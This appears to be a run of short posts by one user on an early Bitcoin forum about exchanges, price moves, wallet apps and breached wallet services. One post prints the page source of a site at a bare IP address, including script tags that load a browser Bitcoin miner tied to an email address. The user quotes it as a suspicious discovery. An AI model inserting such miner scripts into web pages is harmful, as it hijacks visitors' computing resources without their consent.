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That's inexcusable. For a company their size What size? They are two fat dudes in a basement. Sorry, I thought that my entire sentence made it clear as to what the word "size" meant in this context. Here's the sentence: For a company their size that is able to practically print money, they should be able to have the resources to hire more expedient support.
I'd think that Mt. Gox could use their resources (i.e. size) to hire expedient and attentive support. -JP |
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That's inexcusable. For a company their size that is able to practically print money, they should be able to have the resources to hire more expedient support. Sorry to hear about your troubles =(
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I think this is good. The last price shot up in such a short period of time - that's not healthy for a currency looking for its identity. This price decline will get rid of the speculators and allow for organice growth. This is good for those of us who are in it for the long haul, which I'd imagine is most of the active members on this board.
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I really didn't expect him to be so bullish.
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Can't wait to listen to it! I've loved the first 3!
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Be careful with Bitinstant, I'm not saying they're a bad service, they've just been getting slammed with buy orders and a lot of people haven't been getting their Bitcoins as immediately as promised. Do your research, there are many stories on this.
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Shit, can't even get on. Can anyone else?
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Apple has, and will continue to, ban all apps that carry Bitcoin wallet/transfer/purchasing purposes and/or features.
I thought the Blockchain.info app had these features? I haven't used it myself, so can't confirm that. It was just my understanding that they did and somehow got around Apple's banning of Bitcoin wallet apps. |
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Love it. You're going to own my daily commute! Thanks! Moar =)
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Awesome, loved the show! It's gonna be hard to do these daily, but please keep these coming!
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I could be wrong on this, but it's my understanding that they didn't have a robots.txt and Google started indexing their private URLS.
I could be wrong on this though.
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1. It was possible to change the id in a URL and see another users encrypted key. That is now fixed.
I'd like a little more transparency please. While using your service, you made it sound that no one would know the private key because it was encrypted with your the user's password for that specific key. Even if someone could view another persons account page, how would they still have access to the key since they don't know the password to the encrypted key? Thanks and sorry you're going through the growing pains here. |
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What's up with strongcoin.com... did it really get hacked? It's not responding right now.
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I'm going to build a Bitcoin-based business. Do you have access to datacenter? Are you reselling? I'm not really interested in any free offering though, sorry. I'm a happy Amazon EC2 and Digital Ocean customer. But I'm thinking that I may need to skip the VPS route. So, do you have access to a physical location to host?
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Mosper, very generous. I think people may be curious... what's in it for you?
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So if you just visit the base of the site: 188.190.99.224 and click "view source", you find something interesting: <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
<script type="text/javascript">BitcoinPlusMiner("derek.andersons@hotmail.com")</script>
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I am curious on this one also. I mean the textbook example (I mean that literally as in any database textbook) of ACID is banking. NoSQL has a lot of advantages but one area where it doesn't shine is financial transactions.
Yup. Even more troubling is their silence on everything. They are simply not responding to any emails to support@coinbase.com |
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